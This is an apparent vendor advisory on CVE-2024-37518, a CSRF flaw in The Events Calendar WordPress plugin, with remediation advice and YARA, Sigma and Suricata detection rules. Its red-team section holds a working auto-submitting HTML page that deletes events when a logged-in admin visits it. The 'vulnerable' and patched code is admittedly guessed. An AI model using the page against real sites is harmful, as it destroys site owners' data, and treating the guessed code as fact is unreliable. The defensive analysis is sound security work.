CVE-2024-37518

Executive Summary

CVE-2024-37518 is a Cross-Site Request Forgery (CSRF) vulnerability in the WordPress plugin The Events Calendar by StellarWP, affecting versions from n/a through 6.5.1.4. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying event settings, deleting events, or changing plugin configurations, by tricking the victim into clicking a crafted link or visiting a malicious page. The CVSS score is 4.3 (Medium), and no public proof-of-concept or patch is currently available. The vulnerability is classified under CWE-352.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are obtained from trusted sources. No known supply chain compromise has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): Required (R) – The victim must click a link or visit a page.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): Low (L) – Limited modification of data is possible.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the impact on integrity can lead to unauthorized changes in event data.

Deep Dive & Mechanics

The vulnerability exists in the CSRF protection mechanism of The Events Calendar plugin. The plugin fails to validate or include a nonce token in certain administrative actions, such as event creation, deletion, or settings modification. An attacker can craft a malicious HTML page or email that, when accessed by an authenticated administrator, triggers a forged request to the WordPress admin area. Since the request appears to come from the authenticated user, the server processes it without verifying the source.

The attack flow:

1. Attacker crafts a malicious link or form that targets a specific admin action (e.g., wp-admin/admin.php?page=tec-events&action=delete&post=123).
2. Attacker lures an authenticated admin to click the link or submit the form.
3. The browser sends the request with the admin's cookies, and the server executes the action without CSRF token validation.

Vulnerable vs. Patched Code

Vulnerable Code (<= 6.5.1.4): The plugin likely uses a function like check_admin_referer() inconsistently or not at all for certain actions. Example of missing nonce check:

function delete_event() {
    // No nonce verification
    $event_id = $_GET['post'];
    wp_delete_post($event_id, true);
}

Patched Code (Hypothetical): A proper patch would add nonce verification using check_admin_referer() or wp_verify_nonce():

function delete_event() {
    if (!isset($_GET['_wpnonce']) || !wp_verify_nonce($_GET['_wpnonce'], 'delete_event_' . $_GET['post'])) {
        wp_die('CSRF validation failed.');
    }
    $event_id = $_GET['post'];
    wp_delete_post($event_id, true);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Lab Setup:

• WordPress installation with The Events Calendar <= 6.5.1.4.
• Admin user logged in.

Exploit Steps:

1. Create a malicious HTML file (csrf.html) that auto-submits a form to delete an event:

<html>
<body>
<form action="http://target-site/wp-admin/admin.php?page=tec-events&action=delete&post=1" method="GET" id="csrf-form">
    <input type="submit" value="Click me">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the admin (e.g., via email or social engineering).
4. When the admin visits the page, the form auto-submits, deleting event ID 1.

Blue Team (Defense & Detection)

Detection:

• Monitor for unexpected admin actions (e.g., event deletions) without corresponding user interaction logs.
• Use web application firewalls (WAF) to block requests missing expected nonce parameters.

Prevention:

• Ensure the plugin is updated to a patched version (once available).
• Implement additional CSRF protections at the server level (e.g., SameSite cookies, custom headers).

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin.php with parameters like action=delete, action=edit, or action=trash without a _wpnonce parameter.
• Logs: WordPress audit logs showing admin actions performed without prior user interaction (e.g., rapid event deletions).
• File: Presence of unexpected .html files on the server that may have been uploaded as part of a CSRF attack.

Detection Engineering

YARA Rule

rule Detect_CSRF_Exploit_HTML {
    meta:
        description = "Detects HTML files crafted for CSRF attacks against The Events Calendar"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $form = /<form[^>]*action=["'][^"']*admin\.php[^"']*["'][^>]*>/ nocase
        $action = /action=(delete|trash|edit)/ nocase
        $post = /post=\d+/ nocase
    condition:
        $form and $action and $post
}

Sigma Rule

title: CSRF Attack Against The Events Calendar
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects HTTP requests to The Events Calendar admin actions without nonce
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'page=tec-events'
            - 'action=delete'
            - 'action=trash'
            - 'action=edit'
    filter:
        cs-uri-query|contains: '_wpnonce'
    condition: selection and not filter
falsepositives:
    - Legitimate admin actions with nonce
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2024-37518 - CSRF Attempt Against The Events Calendar";
    flow:to_server,established;
    http.method;
    content:"GET";
    http.uri;
    content:"/wp-admin/admin.php";
    content:"page=tec-events";
    content:"action=";
    pcre:"/(delete|trash|edit)/i";
    pcre:"/^(?!.*_wpnonce).*$/i";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the plugin if not essential, or restrict admin access to trusted IPs only.
2. Short-term: Implement a web application firewall (WAF) rule to block requests to /wp-admin/admin.php that lack a _wpnonce parameter.
3. Long-term: Apply the official patch once released by StellarWP. Monitor the plugin's changelog for version 6.5.2 or later.
4. User Education: Train administrators to avoid clicking suspicious links while logged into WordPress.

Valters IT
Securing Digital Frontiers